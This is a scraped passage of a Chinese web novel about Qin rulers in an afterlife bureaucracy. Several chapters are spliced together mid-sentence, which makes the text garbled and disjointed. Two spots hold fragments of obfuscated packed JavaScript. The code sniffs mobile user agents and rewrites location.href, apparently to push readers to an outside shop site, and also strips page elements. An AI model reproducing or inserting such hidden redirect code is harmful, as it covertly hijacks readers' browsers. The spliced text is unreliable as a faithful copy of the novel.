孝公拿出了酥炸小黄鱼: “阿苏是不是爱吃这个?” 秦驷拿出了香辣鱿鱼丝: “这个肯定喜欢。” 各式各样的辣口零食、海鲜零食,还有各种甜食糖果,摆了一地。 这群秦君在花园里聚会,嫌弃架设桌案麻烦,很时髦地学着后世人铺了一堆新买的野餐垫。 秦稷看着满地的零食就没忍住: “正好,寡人听闻有些朝代会给小孩子举办抓周礼。咱们阿苏没经历过,不如现在补上,看他会抓哪个零食。” 秦柱立刻捧场: “寡人觉得可以,抓了谁的东西就代表阿苏最喜欢谁。” 本来只是单纯的娱乐活动,加上秦柱的这么一句之后,立刻变成了先祖们的争宠大比拼。 那么胜负就很重要了。 众人齐齐看向小太子,期待他出来挑个喜欢的零食。 然而小太子已经被之前的柠檬糖给伤到了,如今看这些稀奇古怪的零食都十分警惕。指望他过去挑零食不太可能,小孩一个都不想拿。 正巧这个时候,侍者们出去试吃完一轮回来了。 领头之人上前来汇报: “这些是太子殿下爱吃的口味。” 小扶苏一下子获得了一大兜子零食。 这下先祖给的就不值钱了,小孩开开心心地指了一包,让侍者打开喂给他吃 ,他不会开。 忙活了一通最后输给了侍者,恨! 秦子楚瞬间从自己那堆里挑了一个乍一看包装一模一样的零食: “是寡人赢了,阿苏吃的就是这个。” 坐得近的秦君鹰眸扫视,迅速抓出不同: “它们分明左上角的品牌名不同,根本不是一家生产的!” 始皇侧目: “你们懂得还挺多。” 秦子楚忽略了那个挑刺的秦君,积极为儿子和孙子介绍这些包装上的信息。保质期啊、配料表啊、品牌名啊,能说的都说了,不给别人插话的机会。 小太子冲他笑了笑: “谢谢祖父。” 秦子楚立刻圆满了。 很好,和儿子修复关系的第一步已经成功迈出去了。交好了孙子就是交好了儿子,不愧是他,聪明如斯。 其他人哪能让他占尽便宜,立刻挑出不同的包装袋,来解释其他东西。 倒也不为了别的。 就是之前看扶苏帮黑龙和玄鸟赚了那么多信仰,说明小后辈很会赚钱。现在刷了好感,以后就可以顺理成章地让扶苏帮忙出谋划策,赚取更多功德了。 大家都是无利不起早的,哪有可能单纯为了家族感情行事呢。 小太子迅速和先祖们打成一团。 然后他就对阿父说想下去。 始皇把他从腿上放了下来: “去玩吧,小心点。” 小太子于是问阿父要了之前只吃了几颗的那袋水果糖,走过去给先祖们每人分发了一堆。 明黄色的,柠檬味,难吃,多给一点。 青绿色的,芥末味,虽然没吃,但刚刚侍者没说这个是他喜欢的,也全都抓出来送给先祖。 棕咖色的,咖啡味,没打开就能闻到苦苦的味道,肯定难吃,挑出来挑出来。 浅粉色的,樱花味…… 就是说水果糖里为什么有这些奇奇怪怪的味道,芥末咖啡樱花难道算水果吗? 不过对小太子来说都一样,因为都是陌生的名词。哪怕柠檬是水果,小扶苏也不认识,在他看来这些没区别。 刚开始先祖们拿到他发的糖果还挺乐呵呵的,觉得扶苏小时候看着是个孝顺的好孩子。但是发着发着,< 第 26 章 舌战六国无敌手 《大秦地府日常》全本免费阅读 太子殿下最终还是没能要到钱。 他失望地跟着阿父往回走,不开心地抿着小嘴。 始皇牵着他的手慢悠悠走着: “都跟你说了这么折腾没用的,下次还听昭襄王的话,跟他一起胡闹吗?” 单纯的小太子觉得自己被骗了: “昭襄王,大骗子!” 始皇很满意这个结果: “不错,以后他说的话你别信。” 父子俩走着走着,始皇突然觉得手里一沉。他熟练地弯腰把要栽倒的小孩搂住,小孩子就是这样,经常走路走到一半会突然栽个跟头。 始皇将儿子扶好: “是不是路难走?要不要阿父抱你?” 扶苏感觉头有点昏昏沉沉的,他晃了晃脑袋,仍旧是站不稳。父亲收回手后,他又要往地上倒去,把他爹吓了一跳。 “阿苏!” 始皇连忙搂住小孩,调整了一下姿势去看他的脸。他也不知道扶苏是哪里不舒服,按理说鬼魂应该不会生病的。 扶苏揪着父亲的衣襟,脸色慢慢泛白。始皇追问他哪里难受,他哼哼唧唧说头有点疼。 这里不是养病的地方,始皇当即就要带他回家。 传送阵在五岳,附近就有一座。但是传送回梓桑位面再回骊山陵,还不如直接去这个位面的骊山陵方便些。 所以始皇直接朝关中过去了。 扶苏蔫蔫地趴在父亲肩头,闭着眼睛休息。脑子里一堆乱七八糟的片段在闪烁,思绪十分混乱。 函谷关处,正聚集了一堆人。 集合起来准备抓小孩的六国贵族们认为,无论秦楼桑会跑去哪里,他最后肯定都要回家的。 所以在函谷关和武关等着是最稳妥的,大家就分作两堆,分别在这两个地方堵人。 两边距离也不算太远,互相赶过去花不了多少时间。 始皇走函谷关回家的时候,远远就看到这里的人群了。 他眉头微皱: “故意堵塞道路,可以把他们冲开吗?” 不太清楚楼桑位面的地府律。 不过这难不倒他。 始皇直接指挥四百多骑兵朝关口冲锋,对面要是不想被撞个人仰马翻自然会退开。 就算不退开也不要紧,用兵马俑吸引他们的注意力,这样始皇就可以从天上飞过去了。下头的人光顾着应付兵马俑,恐怕都不一定能发现上面有人。 轰隆隆的马蹄声响彻山谷。 贵族们精神一振: “来了来了!快喊他们过来!秦楼桑在这边!” 有人问: “要躲开吗?我们先占道的,被撞可能就白挨一次撞了,不一定会让对面受罚。” 另一个贵族研究过新律了,振振有词: “律法说了,车辆马匹必须礼让行人。我们都是行人,他直接撞过来他还有礼了?让他撞,他敢撞我们,他就得坐牢去!” “可是对面不是个小孩子吗?小孩子还有未成年保护法。” “对,而且地府律里也有堵塞交通要道的处罚,我们好像也不太干净……” “???你们哪儿头的?” 一群人吵吵嚷嚷,没吵出个结果来。兵马俑可不会停下来等他们吵完再行动,直接把一群鬼都撞飞了。 “嗷——!” 惨叫声此起彼伏,还有倒霉的鬼魂没被撞飞反而被踩踏了。虽然不至于被几百匹马踩过去,可好歹也有几十匹了。 等骑兵过境之后,他们居然还没被踩成肉饼,也是坚强。 步兵俑跑得没那么快,隔了好久才追上。这还是地府的兵俑,换阳世的机器人可没办法这么短的时间横跨三晋。 地上躺尸的鬼魂还没起来,步兵俑已经到了。再一次毫无人性地踩着鬼魂跑过去,不远处本来想上前扶人的同伴都下意识停住了脚步。 等到躺尸的终于捂着老腰起来了,已经过去了半个多时辰。 他们气得怒视没义气的同伴: “你们躲那么远干什么?” 同伴打了个哈哈: “这不是,你们伤得惨一些,秦人就能被罚得更重一些吗?” ……人言否? 但这里的小摩擦并没有引来管事,大家等了这么久,还是没人前来处理。 这就很过分了。 当即有人投诉地府的分管人只拿钱不干事。 本位面的分管人不是七国的任何一人,因为这里缺少始皇帝。天道也不是很想再给始皇一个安插人手的机会,干脆 把周武王姬发拎出来当分管人了。 姬发根本不想管这些东周的乱臣贼子,平时来都不来这个平行空间的。一个时辰前他就收到这边闹事的消息了,但他假装没看见。 府君不是才处理过一件事吗?让府君顺便把下一件也处理了,他就不来了。 结果就被投诉了。 府君跑得真快。 面对天道质问他为什么消极怠工,姬发随便扯了个借口: “寡人以为这和之前拆墓那事是一起处理的,府君已经去了,寡人便没去。” 天道:拙劣的借口! 天道意思意思扣了他一点业绩,催促他赶紧去处理。 姬发:一群死人事真多。 姬发慢吞吞赶到了函谷关,因为心情不好,上来就先挑刺。 他看了一眼堵别人家门口的贵族们: “聚众闹事,罚三天禁闭。” 贵族们:??? “我们没闹事!” 还没来得及闹好不好? 姬发:“你们准备闹事,属于闹事未遂,所以只关三天。” 贵族们:“……先不说这个,先说秦人用兵马俑踩踏我们的事情。” 姬发:“聚众堵路,堵塞的还是交通要塞,再罚三天。” 贵族们:“你讲不讲道理?能不能先处理踩踏事件?!” 姬发:“你不堵路不就没有踩踏了吗?” 姬发越发认定是他们事多了,人家好好的出门闲逛,你非要来堵路。 如果他们不堵路而是和之前那波人凑在一起聊天的话,就没有现在的事了。而是应该会被捆起来,刚才就被会府君一道释放,不用再劳烦他过来跑一趟。 明明是一件事,非要闹成两拨。 贵族们算是发现了,周天子对他们没什么好印象,才会逮着他们往死里判。 但是凭什么?秦人也是乱臣贼子,凭什么偏袒秦人? 姬发掀了掀眼皮: “因为秦人现在不在寡人面前,等他们出现了再说。如今先把你们的问题处理了,等下再去找他们不迟。” 贵族们这下无话可说了。 姬发就翻着辅助办公程序里的记录: “你们闹事的原因是想抓别人家的小孩子 ?欺负稚童,天理不容,加罚五天。” “堵函谷关不算,还堵了武关。性质更加恶劣,再加三天。” “看到其他人被踩踏不去帮忙,围观者收押一天。” 别的也就算了,最后这个忍不了。 贵族们据理力争: “为什么不帮忙还要被处罚?” 姬发给他们看地府律: “律法里就是这么写的,见义勇为是义务,没做到就要受罚。” 贵族们:哪家把见义勇为写进律法里?人干事?还带强行要求别人干好事的?就你们家素质高是吧? 姬发慢悠悠地补充: “这条好像是从秦律里借鉴的吧,寡人听闻秦律里有类似的规定。” 贵族们:又是你!暴秦! 一群人被罚了14到15天的禁闭,心里很不高兴。 关键是他们被平白踩了一通,结果罪魁祸首没逮到。他们都不知道秦楼桑是什么时候过去的,难道是混在骑兵里头没被发现? “罚我们禁闭可以,但我们要求亲眼见证秦楼桑被罚,否则无法保证公平。” 得到最终结果之前,这群人不肯直接去监狱里待着。姬发也不强制,直接带头去了骊山陵。 地宫中,扶苏已经缓过来了。 方才头疼晕眩是因为记忆要恢复了,两世的记忆太过繁杂,一下子冒出来难免会觉得不舒服。 经过了一个时辰的调整,现在倒是不怎么难受了。不过扶苏依然保持着幼童形态,懒懒地趴在父亲怀里不想动。 始皇问他: “头真的不疼了?” 扶苏说不疼,就是有点累,想睡一觉。可他之前才睡醒没多久,根本睡不着。 想睡又睡不着的时候,就是最难受的时候。始皇干脆让他闭目养神,时不时喂他点东西吃。 等下肯定有分管人会来找他们父子,与其乱跑不如在原地等待。始皇打开光屏看看最新资讯打发时间,上头都是各界地府最近发生的大事。 没看多久,姬发就上门了。 始皇让侍者俑引了他们进来,在殿中坐定。既然来的是姬发,那当然要给点面子,不好叫人家在门外站着。 姬发对始皇帝没太多恶感,虽然东周最后是被秦国 彻底灭掉的,但东周那群废物不提也罢。 不过他和秦人也没什么交情,所以同样没必要包庇大秦。 姬发先看向扶苏: “他们说是你率领兵马俑撞人的,可寡人这里看到的却并非如此。你是稚童,若事情是你做的,顶多算是小孩子调皮,可以从轻发落。既然不是你做的,是你父亲做的,那寡人只能秉公执法了。” 随即又看向始皇: “马匹骑兵需要礼让行人,违者收监三日,你可服气?” 始皇皱了皱眉: “若非他们堵路,朕也不会出此下策。” 姬发解释道: “所以他们也要被罚三日。” 始皇:“他们先动的手,缘何朕与他们罚得一样多?” 姬发:“你说的也有道理,寡人再看看地府律……好,你这个情况罚一日即可。” 贵族们:?! 还说你们没有勾结!举报!立刻举报! 两边都没搭理他们,继续往下讲。 姬发:“踩踏事故情节比较严重,需要罚五日禁闭。” 始皇:“听到马蹄声就该主动退避了,自己不躲,被踩怪不了旁人。” 姬发:“但律法里就是这么写的……也罢,他们这种情况有碰瓷的嫌疑,你们双方各退一步好了。” 贵族们忍不住插话: “什么叫各退一步?” 姬发:“就是他不计较你们碰瓷,你们也别太计较他踩踏撞飞你们。寡人方才忘了给你们加罚碰瓷的罪责,现在把这条补上。要么他罚五日你们加三日,要么他罚两日你们不加。” 贵族们立刻起了争端。 有人不想再加了,有人却觉得加也不要紧。都关这么多天了,再加三天不算什么。 这个时候终于有个头脑清醒的人: “不行,不能这么加下去!” “为何?” “任务模式还有不到两个月就要开放了,万一我等在牢狱中错过,得不偿失!” “……” 其他人一下子都不说话了。 虽然现在看着只是被关十几二十天,还不到一个月。可这么加下去,万一最后越加越多呢? 姬发见众人没有异议,宣布了判决: “秦人加两日,六国不加。” 下一条。 姬发:“肇事逃逸,没有留在原地等待寡人来处理,要罚一日。” 始皇:“若朕没猜错的话,是你自己来晚了吧?” 姬发:……这倒是的。 自己都不干净,也没法要求别人非得在原地等着他。何况始皇还有正当理由,他说他儿子不舒服,急着带人回家。 说起这个,始皇便道: “阿苏着急回来休息,他们占道不让朕过去,是不是有意害人性命?” 贵族们立刻反驳: “我等如何知道你儿子身体不适?等一下,这是你儿子?!” 始皇帝什么时候有个叫楼桑的儿子了? 没人为他们解惑,姬发皱眉陷入了纠结之中。 贵族们也顾不得去琢磨小孩的身份,怕姬发真被说服了,赶紧七嘴八舌地为自己辩解,认定始皇就是在狡辩。 姬发却是喃喃自语: “这到底该按故意伤人判,还是该按阻碍救护车前进来判?” 贵族们:……合着你已经开始接受这个说辞,准备判决了是吗? 赵武灵王紧急打断姬发的沉思: “秦皇说我等故意纠缠,不让他带孩子回家。但我等从头到尾都未曾与他碰面,他这是强加之罪!” 姬发不甚在意地回了一句: “可你们确实准备堵着他们,哪怕看到孩子不舒服,也肯定不会让他过去的。” 燕昭王不服: “如何能这样算?不曾发生的事情,且只是臆测,毫无根据!” 姬发反问: “怎么就没有根据了?你们不是要把小孩抓起来威胁秦人?看到孩子不适,难道就会善心大发决定不抓了?” 众人:……这个好像没办法反驳。 关键他们聚众讨论抓小孩这事的时候,是直接在大庭广众下说的。要是当初选择在私密的房间内商议,现在姬发就不能拿这点当证据了,因为没有监控。 失策! 他们倒是提醒了姬发: “对了,刚刚只判了绑架孩童的罪,没有判意图威胁他人的罪,给你们加三天。” 扶苏没忍住,噗嗤笑了一声。 他算

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960851|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西? 府君形容了一下: “类似洪荒流里造化玉牒的宝物,上头记载了三千大道。 修真界的人想要拥有它,只要参透了它的一丝真意,就可以飞升成仙,因而为了得到它几欲疯魔。 府君和神兽走的不是同一条路线,神兽只需要信仰,府君是可以修炼的。所以他也想借那玉牒看看,或许对自己有进益。 府君碎碎念: “等我突破了,我就不干这个吃力不讨好的管事了。 现在不能卸任不过是因为还要靠着赚功德延寿,距离突破遥遥无期,他得为未来打算。万一功德消耗完了还没突破,府君就要投胎去做凡人了。 突破之后则不同,到那时候与天同寿,再没有寿命的烦恼。 至于天道为什么也想要玉牒。 自然是因为天道的智能提升比较慢,只能通过外物激发自身的领悟,加快成长速度了。 正常生命体可以通过锻炼成长,天道这么长效率太低了。参透玉牒类的金手指是捷径,类似于磕丹药提升修为。 不稳固,但胜在快。 黄泉府君和父子俩打好商量,愉快地离开去做准备。 等他走远,扶苏才说: “这东西他和天道不是可以一起看吗?为什么非要弄得好像是一次性道具,用完就损毁了似的? 就算真是一次性的,天道应该也有办法批量复刻。府君就是故意吃独食吧,看来他是真的很想坑天道了。 一看就是积怨已深。 秦政在思索他和扶苏能不能用上那个玉牒。 不确定,所以干脆给玄鸟发了个消息。 玄鸟说用不上: 「神兽不用自己修炼的,你们安心攒信仰之力就行。不过可以拿去给大秦其他人参透,没有神兽血脉的得靠自己修炼。」 玄鸟多说了一些。 譬如以前可以走功德成神的路子,但那种不是正神,无法寿与天齐。本质上和现在的鬼魂差不多,就是消耗功德维持寿命。 非要说的话,功德攒地多的都能勉强算是成神成功了,可见里头水分有多大。 法则最肯承认 的,到底还是自身实力。 功德没有所属标记,可以随意转赠。不像信仰和自己修炼出的神力,完全属于个人,这种带来的实力增幅不受压制,相比之下更踏实点。 玄鸟还说: 「府君真是坑人,给你们介绍这样的世界。下回你别听他的忽悠,我帮你们介绍,我这头门路多。」 扶苏顿时乖巧地谢过玄鸟大人。 玄鸟哼了一声: 「谁让我是你先祖呢!」 当先祖的肯定要罩着自家晚辈的,何况这还是特别给她争气的晚辈。 结束对话后,父子俩对视一眼。 虽然府君小九九多,但他们也不亏。府君介绍的世界很坑又怎么样?他们手里多了一个位面是实打实的。 父子二人瞬间就默契地领会了彼此的意思——玉牒不能直接给府君。 这个玉牒对秦人来说也有用,是可以拿去参悟修炼的。所以,他们得想个办法复刻千百份,到时候分府君一份就够了。 还有就是: “原主拿着玉牒竟只想着毁灭世界。 始皇帝陛下对此表示无法理解。 这东西给他,他能靠着玉牒拉起一个强大的势力。在修真界建造大秦仙国,将会毫无难度。 真是暴殄天物! 扶苏则有些好奇: “这种修真界飞升,是飞去哪里?飞来地府吗? 看样子好像没有专属的仙界。 莫非是很多个修真位面共用一个仙界? 扶苏问了一圈,得到回答: 「天道有划分的,会飞升到对应的仙界,一个仙界下属至少三千个修真界。而且仙界都是完整位面,修士飞升过去之后就不归地府管了。」 仙人少有陨落的,陨落之后一般也是直接随机选中一个修真界转世。顶多借用地府的轮回池,彼此之间没什么交集。 扶苏便对父亲说: “那样阿父建造的仙国,就要独立应付仙界那群真仙了。 秦政倒是不担心: “归属权应该有变更的办法,到时候可以把他们送去神话位面。 神话大秦也有个仙界天庭。 那边之前还压着没有完善法则,最近可能是和天道谈妥了,已经 完善了。但完善后的世界评级较高,府君反正是管不着他们。 导致那边的两个鬼界和一个妖界的归属权在秦政手里,由先王待他经营。而两个人界和一个天界的归属权在神帝手里,不过这三界本来也不归地府管辖。 天界本质上也是仙界之一。 只是世界刚刚完善,应该还没有划分下属的修真位面。即将诞生的修真界应该也没有划分,等下和府君谈谈,看能不能暗箱操作划过去。 要是父子俩能去仙界,肯定就不折腾这个了。但他们俩在成神前是绝对不可能以身涉险去完整位面的,何况还是仙界,危险系数太大了。 没有他们当领头羊,真的很怀疑仙国的秦人去了仙界会混得很惨,还不如别去找虐呢。 府君很快回来了。 他这次回来带来了一团混沌的世界球,说等混沌变得清明,就是世界诞生的时刻。到时他们只有一瞬的时间,一瞬过后世界球会自己脱离当前地府,去它该去的地方。 自此之后,旁人就只能靠着坐标定位进去了。想像现在这样拿来拿去,那是做梦,毕竟是一整个巨大的世界。 府君问道: “做好准备了吗?” 秦政颔首。 下一瞬,扶苏就发现他阿父被球吸进去了。大约是府君干了什么催熟了那颗球,因为他压根没看到球体变清明的迹象。 府君解释道: “自己催熟可以控制时机,避免错过,我在催熟的同时把他送进去,成功率能够达到95%。” 扶苏表示理解: “那我呢?” 他爹进去了,他还在外头呢。 府君给了他一个坐标: “你传送过去吧。” 扶苏:…… 扶苏心道府君真是不靠谱,不早说。早说他就在传送阵边上等着了,现在还要浪费时间去找传送阵。 三分钟后,扶苏进入了新世界。 刚进来他就感受到了来自修真界的压迫感,是之前那些位面没有过的。 扶苏前往神话大秦的时候本来也该感受到压迫的,但架不住那个世界的原型是以阿父和他的大秦为主写的故事,他们属于主人回归。 这个修真界不一样,扶苏是外来者。 第 195 章 认爹 不知道是修士学艺不精,还是扶苏跟踪本事了得。一直到跟随他们来到宗门驻扎地,他都没有被发现。 本洲的附属宗门居然就在附近不远,而附属宗门定的位置是一洲中灵气最浓郁的地方。 扶苏并不知道这一点,他只觉得这附近灵气是比其他地方充沛些许,但也不多,实属聊胜于无。 幸好他不是那种靠灵气过日子的本土灵兽,不然在灵气稀薄的地方都要喘不上气。 几个修士显然也觉得不太舒服。 好在天玄宗家大业大。 扶苏感觉自己好像穿过了一个结界,进去之后通身舒畅了不少。猜测应该是这里布了个聚灵阵,人为将这里打造成了灵气充沛之地。 为首的筑基修士转身对几个新人说: “宗门便在此地,方才的不同你们应当感受得到。这是宗门的防御阵,轻易不要随便离开阵法的笼罩范围,否则遇到危险可不是说着玩的。” 进入阵法范围后,抬头就能看见一个倒扣下来的透明罩子,泛着微光。这个罩子应该就是所谓的防御阵了,在外头看不见,里头的人却能看得一清二楚。 防御阵笼罩的区域都是深山,不过修士已经提前清理过了其间的猛兽。再用术法将几个山头削平,布下石阶,轻易就改造出了一个宗门。 当然,筑基期修士没这个本事,是金丹期的真人搞定的。真人还丢下了一个随身洞府在最高的山峰上,充当宗门大殿,丢完就离开了。 没见过世面的凡界百姓完全没觉得那个大殿寒酸,看得连连惊叹,感慨原来这就是仙人居住的地方。 扶苏嫌弃地收回了视线。 还没他的玄宸宫好看。 筑基修士矜持地负手而立: “这只是一个区区附属宗门而已,比不得天玄宗万分之一。若你们有一日能突破到金丹期,便可前往主宗了。” 扶苏:? 扶苏以为自己听错了。 金丹期,这群人可真敢想啊!金丹期是大白菜吗? 整日待在修真界灵气最充沛的大宗门里、天赋还远超寻常凡人的弟子,都不一定能突破金丹。 这些修炼条件也不好、自身资质也一般的弟子,有生之年能突破筑基就不错了好不好! 扶苏越看越觉得这里有问题就像是那种搞骗人的补习班的。但是现代骗人是为了骗钱修真界可不一定一个搞不好就是为了骗你的灵根、肉身、神魂。 毕竟寻常百姓身上也没有别的东西是修士可图的了。 莫非这几个新人是特殊体质? 邪修把他们骗来当炉鼎采补的? 扶苏微微蹙眉。 其实这些跟他没什么关系这些百姓也不是他的子民他完全可以事不关己去做更重要的事。 但—— 仁君当久了很难完全冷漠下去。无论是哪个位面的扶苏到底都是仁善宽和的长公子有些事情是不会变的。 扶苏迅速切换了身体。 黑龙太显眼玄鸟会更容易潜伏些。旁人看见纯黑色的小鸟飞过 但是看到个长条形的小黑蛇在空中飞那可就不同了少有人能忍住不去多看两眼的。 扶苏悄悄落在修士附近的枝头上。 修士果然没有注意他。 为首的筑基修士还在侃侃而谈: “一会儿你们师兄会带你们尝试引气入体这个过程比较困难十天半个月没有成果也是正常的。等你们引气成功了就可以去修炼提纯灵根的功法将你们的资质继续提升。” 扶苏脑子里自动代入“量子阅读”。 他以前看社会新闻有那种开补习班让学生用哗啦啦翻书的方式进行阅读的美其名曰量子阅读。虽然一个字都看不清楚但量子力学可以让孩子把知识刻进脑子里。 这么扯的说辞好多家长信了花了大价钱把孩子送进来然后围观孩子坐在那里疯狂翻书。 一般这种翻书的方法只有在看那种手动连环画时才能见到类似定格动画。 这个修士张口闭口“提纯灵根”听着简直就是翻版的量子阅读骗局。 扶苏又凑近了一些。 他准备找个机会把这几个骗子放倒。 不知道能不能打得过他这两天没试过自己的战斗力。如果法则不曾压制他的话打筑基期修士还是绰绰有余的。 现在嘛保险起见还是等他们落单了再尝试。 扶苏没有轻 举妄动。 修士点了一个筑基期的领着新人去安顿,自己带着剩下几个人走了。他们还要把宗门各处整理一下,弄得更像正经宗门。 扶苏从他们的对话里听出了这个宗门确实是个草台班子,最近才成立的。 扶苏懂了,类似皮包公司。 筑基修士很快把任务分派下去,既然有下属,他为什么要自己干活?他修为境界比其他人高一个大阶,按辈分他们得喊他师叔的,自然可以拥有一些特权。 筑基修士无事一身轻地来到掌门大殿,在掌门宝座上美滋滋地坐下。 要不是宗内一时半会儿无法派来太多金丹修士,根本轮不到他暂代掌门之位。筑基修士在宗门里也就是寻常内门弟子,到了金丹才能当上管事长老。 扶苏仗着浑身漆黑,从阴影里窜入大殿。绕到修士的背后,悄无声息地落在了宝座的椅背上。 他尝试调动功德之力,受到的阻滞竟然不是很大。 可能因为功德代表着他干过的好事多,而法则防备的只是灭世的坏人。所以功德这种自带善属性的能量不太受制约,信仰就不一样了,邪神也是有信仰的。 功德可以动用,扶苏便不再收敛。直接凝了个锁链出来,把修士捆得严严实实。 筑基期修士还没到可以光靠念法诀就能施展法术的地步,至少得配合手上掐的手势动作。扶苏直接将他十指都缠住,保证什么手势都做不出来。 修士惊恐不已: “是谁?你知不知道我是天玄宗弟子?你就不怕天玄宗找你麻烦吗?! 扶苏才不会暴露自己呢。 他依然站在修士背后的椅背上,没有挪窝的意思。仗着修士看不见他,可以为所欲为。 扶苏想了想,说道: “天玄宗怎么可能跑来凡界开宗立派,你以为我是傻子? 修士听见是个孩子的声音,却并不觉得对方真是个孩童。定是故意变声了,没有哪个孩子能悄无声息地将他捆成这样。 修士努力镇定下来: “我确实是天玄宗弟子,不信我可以拿出宗门令牌给你查看。 他又没说谎,不用太过紧张。对方是因为不相信他的身份才捆他,修士赌那人不敢得罪天玄宗。 扶苏却很警惕: “休想坑我!” 谁知道放他拿东西他会拿出什么来?说不定储物袋里有诈修真界坑人的手段数不胜数。 所以扶苏不仅不给他拿东西自己也不去拿。反正就是不信他的鬼话反而还要逼问他是哪派的邪修是不是要抓凡人当炉鼎还是要把人家做成傀儡。 筑基修士有点崩溃: “我真的是天玄宗弟子!” 扶苏顿了顿: “真的?” 一个人说没说谎扶苏还是有点判断力的。之前光听语气不好判断因为他在背后没看到表情这会儿听着倒感觉不像骗人因为情绪非常激烈。 可灵根提纯还是听着太假了。 修士急了: “哪里假了?这可是我们明寒老祖发现的方法!不仅我这里有建立附属宗门四十九洲皆有!” 这是机密消息要不是他受制于人担心小命不保他才不会说出去。 能被掌门挑中来干这种事情的自然是掌门的心腹。不过掌门不可能亲自去拉拢筑基弟子所以严格来说他属于掌门心腹的亲传弟子值得信任。 扶苏:…… 扶苏没看出来哪里值得信任了。 别人一威胁他就竹筒倒豆子什么都说了。如果这真是天玄宗掌门的手下势力扶苏只能说天玄宗还没倒闭多亏了修真界里的人尔虞我诈玩得烂。 不过明寒老祖听着有点耳熟。 扶苏沉思片刻想起来了。明寒道君就是本文的灭世大反派现在是他阿父在扮演。 可算听见阿父的消息了! 扶苏眼前一亮这不就是瞌睡来了送枕头? 他立刻追问了明寒道君的事情。 可惜底层小修士并不清楚只知道明寒道君发现了这个提纯灵根的方法。至于怎么发现的不太清楚。 他因为是他师父很喜爱的徒儿才能知道点内情。其他那些附属宗门里的弟子可不如他压根不晓得明寒道君在其中发挥的作用。 扶苏有点失望: “就这些?” 修士顿时有种自己的小命可能不保的错觉 为了保命他绞尽脑汁疯狂回忆 。 终于修士想起来另一件事: “还有一个!明寒道君好像打算在这次宗门大选时收一个小徒弟!” 扶苏:! 扶苏立刻提起了警惕。 不可以!他阿父怎么能收徒弟?在修真界亲传弟子和养子也差不多了不少都关系十分亲密。何况这还可能是他阿父的唯一弟子和普通弟子完全不是一个概念。 原本不着急赶去参加大选的扶苏顿时意识到不能再拖了他必须想个法子才行。 扶苏眼眸一转说道: “竟然还有这等事我家中恰好有适龄晚辈……今日就且放过尔等 修士赶紧保证: “前辈您放心就是!我们天玄宗可是正道大宗门!身为天玄宗弟子我怎么可能做那种事?” 扶苏还算满意: “也罢信你一回。” 扶苏悄悄飞出了大殿然后才收回了功德之力。那筑基修士心有余悸也没敢到处探查搜寻只瘫在原地大喘气。 看样子是真信了自己遇到了个嫉恶如仇的真人前辈。 扶苏根本不怕他找人撑腰直接就离开了。 原因很简单那修士主动泄露了宗门里的秘密绝对不敢同别人说起这件事。不然叫掌门知道了他把灵根提纯暴露给外人他一定会死得很惨。 修士贪生怕死绝对会隐瞒到底。 扶苏这次尝试着在身上裹满功德之力飞行速度果然提升了不少。尝试用这个办法变回成年态也成功完成了变身但是很费劲。 再加上宗门招新弟子肯定是年纪小的优先。就和习武一样从小打基础总比年纪大了再开始修炼要强。 所以现阶段维持幼态是无妨的。 扶苏仗着速度上去了赶在宗门招新的海选阶段结束之前成功赶到了隔壁洲的修城之中。 他固然可以去找在凡间选弟子的天玄宗人对方确定了他灵根纯度高后绝对不会傻乎乎放任他留在附属宗门肯定要联系人把他接去主宗的。 但扶苏刚刚才威胁过附属宗门的人再去和他们打交道容易露馅。而不找本洲的这群人就得去隔壁洲找人了。 筑基修士都交代了,一洲就一个小宗。 既然都得去隔壁的洲,那扶苏为何不直接去隔壁的修界城池? 与其找小宗参加招新,再等小宗联络主宗过来接人。不如直接去参加主宗在修士城池中安排的招新,那样更省事。 扶苏直奔本洲最繁华的修士城池。 进去之后果然很快就打听到了天玄宗招人的地点,就在城中心那里的广场。不仅天玄宗在招人,最近还有两个顶尖宗门也到了招新的日子。 指路的热心青年跟他说: “听说天玄宗的要求更高,你要是心里没底,可以先去另外两家测灵根。不然你从天玄宗被拒,再去这两家的话,他们可能就不愿意收了。” 大家都是第一梯队的大型宗门,没有捡天玄宗不要的道理,丢不起那个人。 反正会被天玄宗拒绝的,也都是天赋中等的。比如三灵根里纯度偏低的,这种在另外两个宗门属于踩线才能进的,那么多一个少一个都一样。 青年男子最近见到好几个这种情况的,最后只能拜入二流宗门。哪怕去了二流宗门能有更好的待遇,可有机会的话谁不想去一流宗门呢? 扶苏谢过青年: “你真是个好人。” 青年男子乐呵呵的: “我是看你年纪小,还是自己一个人来测灵根,才多照顾你一二。你家里人也真是的,怎么让你这么小的孩子独自跑这么远,也不陪着?” 扶苏垂眸落寞地说: “我爹在天玄宗,我娘去世了。家里没有人管我,我想去天玄宗找我爹。” 青年男子一愣: “啊?你爹拜入宗门之前连孩子都有了?” 扶苏无辜地看着大哥哥。 青年男子挠挠头: “该不会你爹是出门做任务的时候,骗了你娘跟他好。结果始乱终弃,不知道还有你这个沧海遗珠流落在外吧?” 扶苏心虚地移开了视线: “唔……我不知道……” 他只是个单纯的五岁小崽崽,他年纪这么小,大人的事情都不会主动告诉他的,他怎么知道呢? 给阿父挂个渣男人设不是他的本意,但是拜入宗门前就有个崽根本不可能。毕竟明寒道君入门都是几百年前的事了 ,和扶苏的年岁实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960852|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不上。 希望阿父不要介意。 扶苏想着想着就理直气壮起来。 